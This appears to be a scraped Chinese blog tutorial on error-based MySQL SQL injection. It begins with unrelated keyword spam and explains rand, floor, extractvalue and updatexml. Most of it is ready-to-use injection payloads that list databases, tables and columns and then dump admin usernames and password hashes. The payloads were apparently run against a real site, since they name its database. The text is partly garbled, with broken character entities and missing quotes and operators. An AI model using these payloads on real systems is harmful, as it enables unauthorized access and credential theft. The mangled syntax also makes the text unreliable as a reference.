陵水县建设局网站,建筑设计专业大学排名,建筑交流平台,网站首页标题字数必要的函数
rand
select rand(0) from hackbiao;
rand(0)#xff1a;生成以0开头的随机数#xff0c;生成的数量与字段下数据的条数相等。如果i没有这个地段的话#xff0c;就会自己形成一个新的字段打印出来。 count和group by
grouip by在进行排序的时候#xff0c;会…必要的函数
rand
select rand(0) from hackbiao;
rand(0)生成以0开头的随机数生成的数量与字段下数据的条数相等。如果i没有这个地段的话就会自己形成一个新的字段打印出来。 count和group by
grouip by在进行排序的时候会生成一个虚拟机的表进行排序但是它不会打印出来
select username,count(username)x from hackbiao group by username; floor
向下取整例如0.90
select floor(rand(0)*2)x from hackbiao; extractvalue
extractvalue1,2)
#1对象 2路径
#2原本要写的是路径但是如果路径XPATH不对的话就要把我们要写的sql语句带进去执行然后同报错信息一起呈现出来updatexml
updatexml(1,2,3)
#1对象 2路径 3修改内容
#跟extractvule一样当2的路径错了的时候就会把我们的sql语句带进去执行然后同报错信息一起显示出来操作
update
查询数据库
id12 and updatexml(1,concat(0x7e,(select database()),0x7e),1) id12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1)
查询数据表
id130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1) 查询表下的字段admin表下
id130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameadmin),0x7e),1) 读取数据
id130 and updatexml(1,concat(0x7e,(select group_concat(username,.........,password) from admin),0x7e),1)
这里是可以看到回显数据是不完整的看这个感觉就是32位的md5加密。 用长度验证一下猜想果然是32位。具体数值用substring函数就可以读取了
id130 and updatexml(1,concat(0x7e,(select password from admin where length(password)32),0x7e),1) extractvalue
读取数据库
id12 and extractvalue(1,concat(0x7e,(select database()),0x7e)) 读取数据表
id12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemaqdm123287303_db),0x7e)) 读取数据
id130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e)) id130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))